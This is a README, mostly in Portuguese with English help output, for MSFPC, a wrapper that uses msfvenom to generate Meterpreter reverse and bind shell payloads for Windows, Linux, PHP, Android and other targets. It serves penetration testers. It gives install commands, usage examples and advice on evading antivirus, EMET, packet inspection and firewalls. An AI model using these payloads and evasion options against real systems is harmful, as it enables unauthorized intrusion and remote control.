Criador de Payloads MSFvenom (MSFPC)
Uma maneira rápida de gerar vários payloads "básicos" do Meterpreter através do msfvenom (parte do framework Metasploit).
O MSFvenom Payload Creator (MSFPC) é um wrapper para gerar múltiplos tipos de payloads, baseado na escolha do utilizador. A ideia é ser o mais simples possível (exigindo apenas uma entrada) para produzir o seu payload.
Automatizar totalmente o msfvenom & Metasploit é o objetivo final (bem como conseguir automatizar o próprio MSFPC). O resto é para tornar a vida do utilizador o mais fácil possível (por exemplo, menu de seleção de IP, ficheiro/comandos de recurso do msfconsole, produção em lote de payloads e ser capaz de inserir qualquer argumento em qualquer ordem (em vários formatos/padrões)).
A única entrada necessária do utilizador deve ser definir o payload que deseja, seja pela plataforma (ex.: windows), ou pela extensão de ficheiro que deseja que o payload tenha (ex.: exe).
eth0.wan.loop.batch (para tudo), batch msf (para cada opção do Meterpreter), batch staged (para cada payload em estágios), ou batch cmd stageless (para cada prompt de comando sem estágio)!Nota: Isto NÃO tentará contornar nenhuma solução antivírus em nenhuma fase.

$ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
$ chmod 0755 /usr/local/bin/msfpc
O MSFPC já está empacotado no Kali Rolling, então tudo o que precisa de fazer é:
root@kali:~# apt install -y msfpc
$ bash msfpc.sh -h -v
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
msfpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
Example: msfpc.sh windows 192.168.1.10 # Windows & manual IP.
msfpc.sh elf bind eth0 4444 # Linux, eth0's IP & manual port.
msfpc.sh stageless cmd py https # Python, stageless command prompt.
msfpc.sh verbose loop eth1 # A payload for every type, using eth1's IP.
msfpc.sh msf batch wan # All possible Meterpreter payloads, using WAN IP.
msfpc.sh help verbose # Help screen, with even more information.
<TYPE>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .dll]
Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address.
Missing <DOMAIN/IP> will default to the IP menu.
Missing <PORT> will default to 443.
<CMD> is a standard/native command prompt/terminal to interactive with.
<MSF> is a custom cross platform shell, gaining the full power of Metasploit.
Missing <CMD/MSF> will default to <MSF> where possible.
Note: Metasploit doesn't (yet!) support <CMD/MSF> for every <TYPE> format.
<CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support.
<MSF> payloads are generally much larger than <CMD>, as it comes with more features.
<BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
<REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
Missing <BIND/REVERSE> will default to <REVERSE>.
<BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access.
<STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
<STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
Note: Metasploit doesn't (yet!) support <STAGED/STAGELESS> for every <TYPE> format.
<STAGED> are 'better' in low-bandwidth/high-latency environments.
<STAGELESS> are seen as 'stealthier' when bypassing Anti-Virus protections. <STAGED> may work 'better' with IDS/IPS.

<TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
<HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
<HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
<FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size.

<BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
<LOOP> will just create one of each <TYPE>.
<VERBOSE> will display more information.
